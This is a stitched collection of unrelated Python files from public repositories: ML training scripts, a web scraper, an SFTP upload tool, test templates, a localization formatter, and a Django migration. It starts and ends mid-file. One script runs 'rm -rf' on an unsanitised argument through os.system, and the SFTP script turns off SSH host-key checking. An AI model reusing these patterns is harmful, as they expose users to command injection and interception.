+ F3_ + F4_ + F5_) / 5. F7_ = (F2_ + F3_) / 2. F8_ = (F4_ + F5_) / 2. F9_ = (F6_ + F7_ + F8_) / 3. self._test_fillgaps([[1.0, 2.0, 3.0, 4.0], [5.0, GAP, GAP, GAP], [9.0, GAP, GAP, GAP], [13., GAP, GAP, GAP]], [[1.0, 2.0, 3.0, 4.0], [5.0, F1_, F2_, F3_], [9.0, F4_, F6_, F7_], [13., F5_, F8_, F9_]], 9)
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incremental/pretrain.py
Zhen-Tan-dmml/GFCIL
7
125929
<filename>incremental/pretrain.py from __future__ import division from __future__ import print_function import time import argparse import numpy as np import os import torch import torch.optim as optim from data_split import * from models import * # Training settings parser = argparse.ArgumentParser() parser.add_argument('--use_cuda', action='store_true', help='Enable CUDA training.') parser.add_argument('--seed', type=int, default=1234, help='Random seed.') parser.add_argument('--epochs', type=int, default=2000, help='Number of epochs to train.') parser.add_argument('--lr', type=float, default=0.005, help='Initial learning rate.') parser.add_argument('--weight_decay', type=float, default=5e-4, help='Weight decay (L2 loss on parameters).') parser.add_argument('--hidden', type=int, default=16, help='Number of hidden units.') parser.add_argument('--dropout', type=float, default=0.5, help='Dropout rate (1 - keep probability).') parser.add_argument('--dataset', default='Amazon_clothing', help='Dataset:Amazon_clothing/reddit/dblp') parser.add_argument('--lazy', type=int, default=10, help='Lazy epoch to terminate pre-training') parser.add_argument('--pretrain_model', required=False, help='Existing model path.') parser.add_argument('--overwrite_pretrain', action='store_true', help='Delete existing pre-train model') parser.add_argument('--output_path', default='./pretrain_model', help='Path for output pre-trained model.') args = parser.parse_args() args.cuda = args.use_cuda and torch.cuda.is_available() path_tmp = os.path.join(args.output_path, str(args.dataset)) if args.overwrite_pretrain and os.path.exists(path_tmp): cmd = "rm -rf " + path_tmp os.system(cmd) if not os.path.exists(path_tmp): os.makedirs(path_tmp) random.seed(args.seed) torch.manual_seed(args.seed) if args.cuda: torch.cuda.manual_seed(args.seed) # Load data dataset = args.dataset adj, features, labels, degrees, id_by_class, base_id, novel_id, num_nodes, num_all_nodes = load_raw_data(dataset) novel_train_id, novel_test_id = split_novel_data(novel_id, dataset) pretrain_id = base_id + novel_train_id pretrain_idx, predev_idx, pretest_idx, base_train_label, base_dev_label, base_test_label,\ base_train_id, base_dev_id, base_test_id = split_base_data(pretrain_id, id_by_class, labels) pretrain_adj = get_base_adj(adj, pretrain_id, labels) cache = {"pretrain_seed": args.seed, "adj": adj, "features": features, "labels": labels, "pretrain_adj": pretrain_adj, "degrees": degrees, "id_by_class": id_by_class, "base_id": base_id, "novel_id": novel_id, "num_nodes": num_nodes, "num_all_nodes": num_all_nodes, "base_train_id": base_train_id, "base_dev_id": base_dev_id, "base_test_id": base_test_id, "novel_train_id": novel_train_id, "novel_test_id": novel_test_id} cache_path = os.path.join("./cache", (str(args.dataset) + ".pkl")) if not os.path.exists("./cache"): os.makedirs("./cache") save_object(cache, cache_path) del cache # Model and optimizer encoder = GNN_Encoder(nfeat=features.shape[1], nhid=args.hidden, dropout=args.dropout) classifier = Classifier(nhid=args.hidden, nclass=len(pretrain_id)) optimizer_encoder = optim.Adam(encoder.parameters(), lr=args.lr, weight_decay=args.weight_decay) optimizer_classifier = optim.Adam(classifier.parameters(), lr=args.lr, weight_decay=args.weight_decay) if args.pretrain_model: checkpoint = torch.load(args.pretrain_model) encoder.load_state_dict(checkpoint['encoder_state_dict']) classifier.load_state_dict(checkpoint['classifier_state_dict']) optimizer_encoder.load_state_dict(checkpoint['optimizer_encoder_state_dict']) optimizer_classifier.load_state_dict(checkpoint['optimizer_classifier_state_dict']) epoch = checkpoint['epoch'] # loss = checkpoint['loss'] if args.cuda: encoder.cuda() classifier.cuda() features = features.cuda() # adj = adj.cuda() pretrain_adj = pretrain_adj.cuda() labels = labels.cuda() degrees = degrees.cuda() def pretrain_epoch(pretrain_idx): encoder.train() classifier.train() optimizer_encoder.zero_grad() embeddings = encoder(features, pretrain_adj) output = classifier(embeddings)[pretrain_idx] output = F.log_softmax(-output, dim=1) labels_new = torch.LongTensor([pretrain_id.index(i) for i in labels[pretrain_idx]]) if args.cuda: labels_new = labels_new.cuda() loss_train = F.nll_loss(output, labels_new) loss_train.backward() optimizer_encoder.step() optimizer_classifier.step() if args.cuda: output = output.cpu().detach() labels_new = labels_new.cpu().detach() acc_train = accuracy(output, labels_new) f1_train = f1(output, labels_new) return acc_train, f1_train def pretest_epoch(pretest_idx): encoder.eval() classifier.eval() embeddings = encoder(features, pretrain_adj) output = classifier(embeddings)[pretest_idx] output = F.log_softmax(-output, dim=1) labels_new = torch.LongTensor([pretrain_id.index(i) for i in labels[pretest_idx]]) if args.cuda: labels_new = labels_new.cuda() loss_test = F.nll_loss(output, labels_new) if args.cuda: output = output.cpu().detach() labels_new = labels_new.cpu().detach() acc_test = accuracy(output, labels_new) f1_test = f1(output, labels_new) return acc_test, f1_test if __name__ == '__main__': # Train model t_total = time.time() pre_train_acc = [] best_dev_acc = 0. tolerate = 0 best_epoch = 0 for epoch in range(args.epochs): acc_train, f1_train = pretrain_epoch(pretrain_idx) pre_train_acc.append(acc_train) if epoch > 0 and epoch % 10 == 0: print("-------Epochs {}-------".format(epoch)) print("Pre-Train_Accuracy: {}".format(np.array(pre_train_acc).mean(axis=0))) # validation pre_dev_acc = [] pre_dev_f1 = [] acc_test, f1_test = pretest_epoch(predev_idx) pre_dev_acc.append(acc_test) pre_dev_f1.append(f1_test) curr_dev_acc = np.array(pre_dev_acc).mean(axis=0) print("Pre-valid_Accuracy: {}, Pre-valid_F1: {}".format(curr_dev_acc, np.array(pre_dev_f1).mean(axis=0))) if curr_dev_acc > best_dev_acc: best_dev_acc = curr_dev_acc save_path = os.path.join(args.output_path, dataset, str(args.seed) + "_" + (str(epoch) + ".pth")) tolerate = 0 torch.save({ 'epoch': epoch, 'encoder_state_dict': encoder.state_dict(), 'classifier_state_dict': classifier.state_dict(), 'optimizer_encoder_state_dict': optimizer_encoder.state_dict(), 'optimizer_classifier_state_dict': optimizer_classifier.state_dict(), # 'loss': loss, }, save_path) print("model saved at " + save_path) best_epoch = epoch else: tolerate += 1 if tolerate > args.lazy: print("Pretraining finished at epoch: " + str(epoch)) print("Best pretrain epoch: " + str(best_epoch)) break # testing pre_test_acc = [] pre_test_f1 = [] acc_test, f1_test = pretest_epoch(pretest_idx) pre_test_acc.append(acc_test) pre_test_f1.append(f1_test) print("Pre-Test_Accuracy: {}, Pre-Test_F1: {}".format(np.array(pre_test_acc).mean(axis=0), np.array(pre_test_f1).mean(axis=0))) print("Total time elapsed: {:.4f}s".format(time.time() - t_total))
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scrape_mars.py
ekohn13/web-scraping-challenge
0
109873
from splinter import Browser from bs4 import BeautifulSoup from time import sleep import pandas as pd import numpy as np from iteration_utilities import unique_everseen def init_browser(): executable_path = {"executable_path": "/usr/local/bin/chromedriver"} return Browser("chrome", **executable_path, headless=True) def mars_news(): browser = init_browser() url = 'https://mars.nasa.gov/news/' browser.visit(url) html = browser.html soup = BeautifulSoup(html, 'html.parser') first_title = soup.find('div', class_='content_title').text first_paragraph = soup.find('div', class_='article_teaser_body').text browser.quit() return first_title, first_paragraph def jpl_image(): browser = init_browser() base_url = "https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars" browser.visit(base_url) html = browser.html soup = BeautifulSoup(html, "html.parser") image = soup.find("img", class_="thumb")["src"] featured_image_url = "https://www.jpl.nasa.gov" + image return featured_image_url def mars_wheater(): browser = init_browser() url = 'https://twitter.com/marswxreport?lang=en' browser.visit(url) html = browser.html soup=BeautifulSoup(html,'html.parser') tweet=soup.find('p',class_='TweetTextSize TweetTextSize--normal js-tweet-text tweet-text').text return tweet def mars_facts(): tables =pd.read_html('https://space-facts.com/mars/') df=tables[0] df.columns=['Description','Value'] df.set_index(df['Description'],inplace=True) del df['Description'] return df.to_html() def mars_hemis(): list_of_url = ['cerberus_enhanced','schiaparelli_enhanced','syrtis_major_enhanced','valles_marineris_enhanced'] url_final = [f'https://astrogeology.usgs.gov/search/map/Mars/Viking/{element}' for element in list_of_url] mars_hemisphere = [] for idx,element in enumerate(url_final): executable_path = {'executable_path': '/usr/local/bin/chromedriver'} browser = Browser('chrome', **executable_path, headless=True) browser.visit(url_final[idx]) html = browser.html soup = BeautifulSoup(html, 'html.parser') title = soup.find('h2',class_='title').text picture = soup.li.a['href'] mars_hemisphere.append({'title':title,'img_url':picture}) return mars_hemisphere def scrape(): data_dict = {} mars_news_split = mars_news() data_dict['mars_news'] = mars_news_split[0] data_dict['mars_paragraph'] = mars_news_split[1] data_dict['mars_image'] = jpl_image() data_dict["mars_weather"] = mars_wheater() data_dict["mars_facts"] = mars_facts() data_dict["mars_hemisphere"] = mars_hemis() return data_dict
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toontown/town/MMStreet.py
LittleNed/toontown-stride
3
156121
from toontown.town import Street class MMStreet(Street.Street): pass
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learning/bs/bs2.py
Nephrin/Tut
2
35956
<filename>learning/bs/bs2.py def main(): with open("number.txt", "r") as file: data = file.read() data = data.split("\n") x = [row.split("\t") for row in data[:5]] print(function(x)) def function(x): sum=0 for el in x[0:]: sum += int(el[0]) return sum if __name__=="__main__": main();
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simulation/device/simulated/air_conditioner/__init__.py
LBNL-ETA/LPDM
2
33559
<filename>simulation/device/simulated/air_conditioner/__init__.py from air_conditioner import AirConditioner
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tests/autoUploadFile.py
brainelectronics/This-project-can-be-used-to-upload-files-of-a-specific-directory-to-a-server-or-OTA-capable-device-v
1
127832
<filename>tests/autoUploadFile.py #!/usr/local/bin/python2 # -*- coding: UTF-8 -*- # """ This script will search at the given path, defined in the config.json file, for files with a specific patter. This is also defined in the config.json file. By using the SSH credits defined in the loginData.json file the specified files will be uploaded to a remote directory Doing so can help to increase speed of providing OTA updates on every build of a file. The script should be extended to check for changes in the predefined folder and trigger the upload automatically """ import datetime import json import pysftp import os __author__ = "<NAME>" __copyright__ = "Copyright 2019, brainelectronics" __version__ = "1.0.0" __maintainer__ = "<NAME>" __email__ = "<EMAIL>" __status__ = "Prototype" # load host, username and password from config.json with open('../afu/fileConfig.json') as json_data_file: configDataDict = json.load(json_data_file) # refer to loginTemplate.json with open('../afu/loginData.json') as json_data_file: loginDataDict = json.load(json_data_file) # print(json.dumps(loginDataDict, indent=4, sort_keys=True)) myHostname = loginDataDict['sftp']['host'] myUsername = loginDataDict['sftp']['user'] myPassword = loginDataDict['sftp']['password'] # define the path where to search for files localPath = configDataDict['server'][0]['localPath'] filePattern = configDataDict['server'][0]['pattern'] remoteFilePath = configDataDict['server'][0]['remotePath'] versionFile = configDataDict['server'][0]['version'] localFilePath = None localFileName = None print "searching at '%s'" %(localPath) for file in os.listdir(localPath): if file.endswith(filePattern): localFileName = file localFilePath = os.path.join(localPath, file) print "Found file called: '%s'" %(localFilePath) print "Creating version file" versionFilePath = os.path.join(localPath, versionFile) with open(versionFilePath, "w") as aFile: epochDateTime = datetime.datetime.utcfromtimestamp(0) todayDateTime = datetime.datetime.today() daysSinceEpoch = (todayDateTime - epochDateTime).days aFile.write("%s" %(daysSinceEpoch)) # aFile.close() print "File '%s' created" %(versionFilePath) if localFilePath != None: print "Try to open connection..." cnopts = pysftp.CnOpts() cnopts.hostkeys = None with pysftp.Connection(host=myHostname, username=myUsername, password=<PASSWORD>) as sftp: remoteFilePath = os.path.join(remoteFilePath, localFileName) print "Uploading file(s) to/as: %s" %(remoteFilePath) sftp.put(localpath=localFilePath, remotepath=remoteFilePath, confirm=False) sftp.put(localpath=versionFilePath, remotepath=remoteFilePath, confirm=False) # sftp.remove(remotefile=remoteFilePath) print "Upload done" print "Files found remote:" # change to a directory sftp.cwd(os.path.dirname(remoteFilePath)) # Get the directory and file listing directories = sftp.listdir() # Prints out the directories and files, line by line for directory in directories: print "\t", directory print "Done" # connection is closed as we leave the with
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py3canvas/tests/shared_brand_configs.py
tylerclair/py3canvas
0
12303
<filename>py3canvas/tests/shared_brand_configs.py """SharedBrandConfigs API Tests for Version 1.0. This is a testing template for the generated SharedBrandConfigsAPI Class. """ import unittest import requests import secrets from py3canvas.apis.shared_brand_configs import SharedBrandConfigsAPI from py3canvas.apis.shared_brand_configs import Sharedbrandconfig class TestSharedBrandConfigsAPI(unittest.TestCase): """Tests for the SharedBrandConfigsAPI.""" def setUp(self): self.client = SharedBrandConfigsAPI( secrets.instance_address, secrets.access_token ) def test_share_brandconfig_theme(self): """Integration test for the SharedBrandConfigsAPI.share_brandconfig_theme method.""" # This method utilises the POST request method and will make changes to the Canvas instance. This needs consideration. pass def test_update_shared_theme(self): """Integration test for the SharedBrandConfigsAPI.update_shared_theme method.""" # This method utilises the PUT request method and will make changes to the Canvas instance. This needs consideration. pass def test_un_share_brandconfig_theme(self): """Integration test for the SharedBrandConfigsAPI.un_share_brandconfig_theme method.""" id = None # Change me!! r = self.client.un_share_brandconfig_theme(id)
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Project1_Day1_Simple_Name_Generator/name_generator.py
ariv14/python_day1
0
122333
<gh_stars>0 #1. Create a greeting for your program. print("\nSimple Name Generator\n") #2. Ask the user for the city that they grew up in. #raw_input() for python v2 , input() for python v3 # Make sure the input cursor shows on a new line raw_input("Press enter : ") print("\nSimple Name Generator\n") city = raw_input("What is the name of the city you grew up ? : ") #3. Ask the user for the name of a pet. # Make sure the input cursor shows on a new line family_name = raw_input("What is your family name ? : ") #4. Combine the name of their city and pet and show them their brand name. print("The name of your new brand is: \n" + city + " " + family_name )
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nifstd/nifstd_tools/ncbigene_slim.py
tmsincomb/pyontutils
11
105660
#!/usr/bin/env python3 """ Build lightweight slims from curie lists. Used for sources that don't have an owl ontology floating. """ #TODO consider using some of the code from scr_sync.py??? from pathlib import Path import requests from pyontutils.core import createOntology from pyontutils.utils import chunk_list, dictParse from pyontutils.config import auth from pyontutils.namespaces import SO, makePrefixes from pyontutils.namespaces import rdf, rdfs, owl #ncbi_map = { #'name':, #'description':, #'uid':, #'organism':{''}, #'otheraliases':, #'otherdesignations':, #} class ncbi(dictParse): superclass = SO['0000110'] # sequence feature def __init__(self, thing, graph): self.g = graph super().__init__(thing, order=['uid']) def name(self, value): self.g.add_trip(self.identifier, rdfs.label, value) def description(self, value): #if value: self.g.add_trip(self.identifier, 'skos:prefLabel', value) def uid(self, value): self.identifier = 'NCBIGene:' + str(value) self.g.add_trip(self.identifier, rdf.type, owl.Class) self.g.add_trip(self.identifier, rdfs.subClassOf, self.superclass) def organism(self, value): self._next_dict(value) def taxid(self, value): tax = 'NCBITaxon:' + str(value) self.g.add_trip(self.identifier, 'ilxtr:definedForTaxon', tax) # FIXME species or taxon??? def otheraliases(self, value): if value: for synonym in value.split(','): self.g.add_trip(self.identifier, 'NIFRID:synonym', synonym.strip()) def otherdesignations(self, value): if value: for synonym in value.split('|'): self.g.add_trip(self.identifier, 'NIFRID:synonym', synonym) def ncbigene_make(): IDS_FILE = auth.get_path('resources') / 'gene-subset-ids.txt' with open(IDS_FILE.as_posix(), 'rt') as f: # this came from neuroNER ids = [l.split(':')[1].strip() for l in f.readlines()] #url = 'http://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?retmode=json&retmax=5000&db=gene&id=' #for id_ in ids: #data = requests.get(url + id_).json()['result'][id_] url = 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi' data = { 'db':'gene', 'retmode':'json', 'retmax':5000, 'id':None, } chunks = [] for i, idset in enumerate(chunk_list(ids, 100)): print(i, len(idset)) data['id'] = ','.join(idset), resp = requests.post(url, data=data).json() chunks.append(resp) base = chunks[0]['result'] uids = base['uids'] for more in chunks[1:]: data = more['result'] uids.extend(data['uids']) base.update(data) #base['uids'] = uids # i mean... its just the keys base.pop('uids') ng = createOntology('ncbigeneslim', 'NIF NCBI Gene subset', makePrefixes('ilxtr', 'NIFRID', 'NCBIGene', 'NCBITaxon', 'skos', 'owl', 'SO'), 'ncbigeneslim', f'This subset is automatically generated from the NCBI Gene database on a subset of terms listed in {IDS_FILE}.', remote_base= 'http://ontology.neuinfo.org/NIF/') for k, v in base.items(): #if k != 'uids': ncbi(v, ng) ng.write() def main(): ncbigene_make() if __name__ == '__main__': main()
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format_output_ios.py
eslimaf/poormans_localization
0
1600149
<filename>format_output_ios.py #!/usr/bin/python3 import os import errno import plistlib from utils import resource_path , Logger, LogLevel OUTPUT_DIR = 'ios' DIR_LPROJ = '.lproj' EN_LANG = 'en' FR_LANG = 'fr' STRINGS_FILENAME = 'Localizable.strings' TRANSLATABLE_FALSE = 'translatable_false' EXCLUSION_ID = '' class IosFormatter: def __init__(self, reader, add_comment=True): self.reader = reader self.logger = Logger(tag = self.__class__.__name__) self.add_comment = add_comment def generate(self): en_strings = '' fr_strings = '' if(self.add_comment): en_strings += '/* Auto-generated by Poor Man\'s Localization */\n' fr_strings += '/* Auto-generated by Poor Man\'s Localization */\n' self.logger.info("Parsing iOS strings") next(self.reader) # skip the first line for line in self.reader: if(line[1] == EXCLUSION_ID): continue en_strings += '"{}" = "{}"\n'.format(line[1], line[2]) # Use same strings if translatable false is applied translated_string = (line[3], line[2])[line[3] == TRANSLATABLE_FALSE] fr_strings += '"{}" = "{}"\n'.format(line[1], translated_string) en_filename = self.__get_en_strings_file() fr_filename = self.__get_fr_strings_file() if not os.path.exists(os.path.dirname(en_filename)): try: os.makedirs(os.path.dirname(en_filename)) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise if not os.path.exists(os.path.dirname(fr_filename)): try: os.makedirs(os.path.dirname(fr_filename)) except OSError as exc: # Guard against race condition if exc.errno != errno.EEXIST: raise en_file = open(en_filename, 'w') en_file.write(en_strings) en_file.close() self.logger.info("Created: %s" % en_filename) fr_file = open(fr_filename, 'w') fr_file.write(fr_strings) fr_file.close() self.logger.info("Created: %s" % fr_filename) @staticmethod def __get_en_strings_file(): return resource_path(os.path.join(OUTPUT_DIR, EN_LANG + DIR_LPROJ, STRINGS_FILENAME)) @staticmethod def __get_fr_strings_file(): return resource_path(os.path.join(OUTPUT_DIR, FR_LANG + DIR_LPROJ, STRINGS_FILENAME))
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tool/migrations/0014_alter_recruiter_level.py
borislavstoychev/RecrutmentTool
0
194172
# Generated by Django 3.2.6 on 2021-10-28 11:50 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tool', '0013_auto_20210917_1621'), ] operations = [ migrations.AlterField( model_name='recruiter', name='level', field=models.PositiveIntegerField(default=1), ), ]
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run_reranker.py
LibRerank-Community/Lierank
46
122410
import os # from sklearn.metrics import log_loss, roc_auc_score import time from librerank.utils import * from librerank.reranker import * from librerank.rl_reranker import * def eval(model, data, l2_reg, batch_size, isrank, metric_scope, _print=False): preds = [] # labels = [] losses = [] data_size = len(data[0]) batch_num = data_size // batch_size print('eval', batch_size, batch_num) t = time.time() for batch_no in range(batch_num): data_batch = get_aggregated_batch(data, batch_size=batch_size, batch_no=batch_no) pred, loss = model.eval(data_batch, l2_reg) preds.extend(pred) # labels.extend(label) losses.append(loss) loss = sum(losses) / len(losses) # cates = np.reshape(np.array(data[1])[:, :, 1], [-1, max_time_len]).tolist() labels = data[4] # print(preds[0], labels[0]) # poss = data[-2] res = evaluate_multi(labels, preds, metric_scope, isrank, _print) print("EVAL TIME: %.4fs" % (time.time() - t)) # return loss, res_low, res_high return loss, res def train(train_file, test_file, feature_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, params): tf.reset_default_graph() # gpu settings gpu_options = tf.GPUOptions(allow_growth=True) perlist = False if params.model_type == 'PRM': model = PRM(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'SetRank': model = SetRank(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'DLCM': model = DLCM(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'GSF': model = GSF(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm, group_size=params.group_size) elif params.model_type == 'miDNN': model = miDNN(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'EGR_evaluator': model = EGR_evaluator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) elif params.model_type == 'EGR_generator': model = PPOModel(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm, rep_num=params.rep_num) # discriminator = EGR_discriminator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, # profile_num, max_norm=params.max_norm) evaluator = EGR_evaluator(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) with evaluator.graph.as_default() as g: sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) evaluator.set_sess(sess) sess.run(tf.global_variables_initializer()) evaluator.load(params.evaluator_path) # with discriminator.graph.as_default() as g: # sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) # discriminator.set_sess(sess) # sess.run(tf.global_variables_initializer()) elif params.model_type == 'Seq2Slate': # model = Seq2Slate(feature_size, eb_dim, hidden_size, max_time_len, max_seq_len, item_fnum, num_cat, mu) model = SLModel(feature_size, params.eb_dim, params.hidden_size, max_time_len, itm_spar_fnum, itm_dens_fnum, profile_num, max_norm=params.max_norm) else: print('No Such Model', params.model_type) exit(0) with model.graph.as_default() as g: sess = tf.Session(graph=g, config=tf.ConfigProto(gpu_options=gpu_options)) sess.run(tf.global_variables_initializer()) sess.run(tf.local_variables_initializer()) model.set_sess(sess) # training_monitor = { # 'train_loss': [], # 'vali_loss': [], # 'map_l': [], # 'ndcg_l': [], # 'clicks_l': [], # 'utility_l': [], # 'map_h':[], # 'ndcg_h': [], # 'clicks_h': [], # 'utility_h': [], # } training_monitor = { 'train_loss': [], 'vali_loss': [], 'map_l': [], 'ndcg_l': [], 'clicks_l': [], # 'utility_l': [], # 'de_ndcg_l': [], } model_name = '{}_{}_{}_{}_{}_{}_{}_{}_{}'.format(params.timestamp, initial_ranker, params.model_type, params.batch_size, params.lr, params.l2_reg, params.hidden_size, params.eb_dim, params.keep_prob) if not os.path.exists('{}/logs_{}/{}'.format(parse.save_dir, data_set_name, max_time_len)): os.makedirs('{}/logs_{}/{}'.format(parse.save_dir, data_set_name, max_time_len)) if not os.path.exists('{}/save_model_{}/{}/{}/'.format(parse.save_dir, data_set_name, max_time_len, model_name)): os.makedirs('{}/save_model_{}/{}/{}/'.format(parse.save_dir, data_set_name, max_time_len, model_name)) save_path = '{}/save_model_{}/{}/{}/ckpt'.format(parse.save_dir, data_set_name, max_time_len, model_name) log_save_path = '{}/logs_{}/{}/{}.metrics'.format(parse.save_dir, data_set_name, max_time_len, model_name) # training process # with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess: # sess.run(tf.global_variables_initializer()) # sess.run(tf.local_variables_initializer()) train_losses_step = [] # before training process step = 0 vali_loss, res = eval(model, test_file, params.l2_reg, params.batch_size, False, params.metric_scope) training_monitor['train_loss'].append(None) training_monitor['vali_loss'].append(None) training_monitor['map_l'].append(res[0][0]) training_monitor['ndcg_l'].append(res[1][0]) # training_monitor['de_ndcg_l'].append(res[2][0]) training_monitor['clicks_l'].append(res[2][0]) # training_monitor['utility_l'].append(res[4][0]) print("STEP %d INTIAL RANKER | LOSS VALI: NULL" % step) for i, s in enumerate(params.metric_scope): print("@%d MAP: %.4f NDCG: %.4f CLICKS: %.4f " % (s, res[0][i], res[1][i], res[2][i])) early_stop = False data = train_file data_size = len(data[0]) batch_num = data_size // params.batch_size eval_iter_num = (data_size // 5) // params.batch_size print('train', data_size, batch_num) # begin training process for epoch in range(params.epoch_num): # if early_stop: # break for batch_no in range(batch_num): data_batch = get_aggregated_batch(data, batch_size=params.batch_size, batch_no=batch_no) # if early_stop: # break if params.model_type == 'EGR_generator': data_batch = repeat_data(data_batch, params.rep_num) act_idx_out, act_probs_one, rl_sp_outputs, rl_de_outputs, mask_arr, lp_sp_data, lp_de_data, _\ = model.predict(data_batch, params.l2_reg) pred = evaluator.predict(rl_sp_outputs, rl_de_outputs, data_batch[6]) # d_preds, d_rewards = discriminator.predict(rl_sp_outputs, rl_de_outputs, data_batch[6]) # rewards = pred + d_rewards.reshape((-1, max_time_len)) * c_rewards_d rewards = pred # rewards = pred # train rl-rerank # for _ in range(update_steps): loss, mean_return = model.train(data_batch, rl_sp_outputs, rl_de_outputs, act_probs_one, act_idx_out, rewards, mask_arr, params.c_entropy, params.lr, params.l2_reg, params.keep_prob) # train discriminator # if step % (update_rate_d * int(update_steps)) == 0: # d_label = np.array([1] * lp_sp_data.shape[0] + [0] * rl_sp_outputs.shape[0]) # spar_data = np.concatenate([lp_sp_data, rl_sp_outputs], axis=0) # dens_data = np.concatenate([lp_de_data, rl_de_outputs], axis=0) # seq_len = np.array(data_batch[6] + data_batch[6]) # d_total_loss = discriminator.train([spar_data, dens_data, d_label, seq_len], lr, l2_reg) # print('dis, step: %d' % (step), 'loss', d_total_loss) elif params.model_type == 'Seq2Slate': act_idx_out, act_probs_one, rl_sp_outputs, rl_de_outputs, mask_arr, lp_sp_data, lp_de_data, _ \ = model.predict(data_batch, params.l2_reg) loss = model.train(data_batch, rl_sp_outputs, rl_de_outputs, mask_arr, params.lr, params.l2_reg, params.keep_prob) else: loss = model.train(data_batch, params.lr, params.l2_reg, params.keep_prob) step += 1 train_losses_step.append(loss) if step % eval_iter_num == 0: train_loss = sum(train_losses_step) / len(train_losses_step) training_monitor['train_loss'].append(train_loss) train_losses_step = [] vali_loss, res = eval(model, test_file, params.l2_reg, params.batch_size, True, params.metric_scope, False) training_monitor['train_loss'].append(train_loss) training_monitor['vali_loss'].append(vali_loss) training_monitor['map_l'].append(res[0][0]) training_monitor['ndcg_l'].append(res[1][0]) # training_monitor['de_ndcg_l'].append(res[2][0]) training_monitor['clicks_l'].append(res[2][0]) # training_monitor['utility_l'].append(res[4][0]) print("EPOCH %d STEP %d LOSS TRAIN: %.4f | LOSS VALI: %.4f" % (epoch, step, train_loss, vali_loss)) for i, s in enumerate(params.metric_scope): print("@%d MAP: %.4f NDCG: %.4f CLICKS: %.4f " % (s, res[0][i], res[1][i], res[2][i])) if training_monitor['map_l'][-1] > max(training_monitor['map_l'][:-1]): # save model model.save(save_path) pkl.dump(res[-1], open(log_save_path, 'wb')) print('model saved') if len(training_monitor['map_l']) > 2 and epoch > 0: # if (training_monitor['vali_loss'][-1] > training_monitor['vali_loss'][-2] and # training_monitor['vali_loss'][-2] > training_monitor['vali_loss'][-3]): # early_stop = True if (training_monitor['map_l'][-2] - training_monitor['map_l'][-1]) <= 0.01 and ( training_monitor['map_l'][-3] - training_monitor['map_l'][-2]) <= 0.01: early_stop = True # generate log if not os.path.exists('{}/logs_{}/{}/'.format(parse.save_dir, data_set_name, max_time_len)): os.makedirs('{}/logs_{}/{}/'.format(parse.save_dir, data_set_name, max_time_len)) with open('{}/logs_{}/{}/{}.monitor.pkl'.format(parse.save_dir, data_set_name, max_time_len, model_name), 'wb') as f: pkl.dump(training_monitor, f) def reranker_parse_args(): parser = argparse.ArgumentParser() parser.add_argument('--max_time_len', default=10, type=int, help='max time length') parser.add_argument('--save_dir', type=str, default='./', help='dir that saves logs and model') parser.add_argument('--data_dir', type=str, default='./data/toy/', help='data dir') parser.add_argument('--model_type', default='PRM', choices=['PRM', 'DLCM', 'SetRank', 'GSF', 'miDNN', 'Seq2Slate', 'EGR_evaluator', 'EGR_generator'], type=str, help='algorithm name, including PRM, DLCM, SetRank, GSF, miDNN, Seq2Slate, EGR_evaluator, EGR_generator') parser.add_argument('--data_set_name', default='ad', type=str, help='name of dataset, including ad and prm') parser.add_argument('--initial_ranker', default='lambdaMART', choices=['DNN', 'lambdaMART'], type=str, help='name of dataset, including DNN, lambdaMART') parser.add_argument('--epoch_num', default=30, type=int, help='epochs of each iteration.') parser.add_argument('--batch_size', default=16, type=int, help='batch size') parser.add_argument('--rep_num', default=5, type=int, help='samples repeat number') parser.add_argument('--lr', default=1e-4, type=float, help='learning rate') parser.add_argument('--l2_reg', default=1e-4, type=float, help='l2 loss scale') parser.add_argument('--keep_prob', default=0.8, type=float, help='keep probability') parser.add_argument('--eb_dim', default=16, type=int, help='size of embedding') parser.add_argument('--hidden_size', default=64, type=int, help='hidden size') parser.add_argument('--group_size', default=1, type=int, help='group size for GSF') parser.add_argument('--metric_scope', default=[1, 3, 5, 10], type=list, help='the scope of metrics') parser.add_argument('--max_norm', default=0, type=float, help='max norm of gradient') parser.add_argument('--c_entropy', default=0.001, type=float, help='entropy coefficient in loss') # parser.add_argument('--decay_steps', default=3000, type=int, help='learning rate decay steps') # parser.add_argument('--decay_rate', default=1.0, type=float, help='learning rate decay rate') parser.add_argument('--timestamp', type=str, default=datetime.datetime.now().strftime("%Y%m%d%H%M")) parser.add_argument('--evaluator_path', type=str, default='', help='evaluator ckpt dir') parser.add_argument('--reload_path', type=str, default='', help='model ckpt dir') parser.add_argument('--setting_path', type=str, default='./config/prm_setting.json', help='setting dir') FLAGS, _ = parser.parse_known_args() return FLAGS if __name__ == '__main__': # parameters random.seed(1234) parse = reranker_parse_args() if parse.setting_path: parse = load_parse_from_json(parse, parse.setting_path) data_set_name = parse.data_set_name processed_dir = parse.data_dir stat_dir = os.path.join(processed_dir, 'data.stat') max_time_len = parse.max_time_len initial_ranker = parse.initial_ranker if data_set_name == 'prm' and 